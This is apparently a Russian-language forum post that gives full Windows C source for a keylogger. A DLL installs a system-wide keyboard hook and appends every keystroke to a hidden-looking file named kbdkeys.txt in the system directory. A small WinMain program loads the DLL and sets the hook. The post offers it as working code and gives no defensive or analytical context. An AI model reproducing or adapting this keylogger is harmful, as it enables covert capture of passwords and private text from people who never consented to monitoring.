Для этого хук должен жить в длл. текст DLL:
BOOL kdown=false; HANDLE ghDLLInst = 0; // Handle to the DLL's instance. char logname[MAX_PATH]; char sysdir[MAX_PATH]; DWORD NOfBytes; BOOL shift=false; HANDLE LFile; char buffer[20];
BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot) { ghDLLInst = hModule;
switch (dwFunction) { case DLL_PROCESS_ATTACH: {
GetSystemDirectory( sysdir, MAX_PATH );
strcpy(logname,sysdir); strcat(logname,"\\kbdkeys.txt");
} case DLL_PROCESS_DETACH: { }
default: break; } return TRUE; } //------------------------------------------------ LRESULT CALLBACK KeyboardProc( int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ) { BYTE aa[4]; memcpy(aa,&lParam,4); kdown=!(aa[3]&&64); BYTE scancode=aa[2]; BYTE ww[4]; memcpy(ww,&wParam,4);
if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);
if(kdown&&(wParam==VK_SHIFT))shift=true;
if(!kdown&&(wParam==VK_SHIFT))shift=false;
if (kdown&&(wParam!=VK_SHIFT)) { sprintf( buffer ,"%c",wParam ); if(isalpha(ww[0])&(!shift))wParam=wParam+32; sprintf( buffer ,"%c",wParam ); if(wParam==VK_RETURN)strcpy(buffer,"\n");
LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); OVERLAPPED ovlp; DWORD ffsze=GetFileSize(LFile,NULL); ovlp.OffsetHigh=0; ovlp.hEvent=NULL; ovlp.Offset=ffsze;
WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
CloseHandle(LFile); } return CallNextHookEx(NULL,code,wParam,lParam); } //----------------------------------------------------------------------// текст приложения:
#include <commdlg.h> #include <stdlib.h> #include <winnls.h>
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow);
//---------------------------------------------------------------------// BOOL SetHook( BOOL fSet ) { static HHOOK hhkKbdHook = NULL; static HANDLE hmodHook;
if (fSet) { if (!hmodHook) { if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл { return FALSE; } }
if (!hhkKbdHook) { if (!(hhkKbdHook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC) GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0))) { return FALSE; } }
} else { if (hhkKbdHook) { UnhookWindowsHookEx(hhkKbdHook); hhkKbdHook = NULL; }
}
return TRUE; } //--------------------------------------------------------------------// int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK); MSG msg;
while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg); DispatchMessage (&msg); } return( 0 ); } |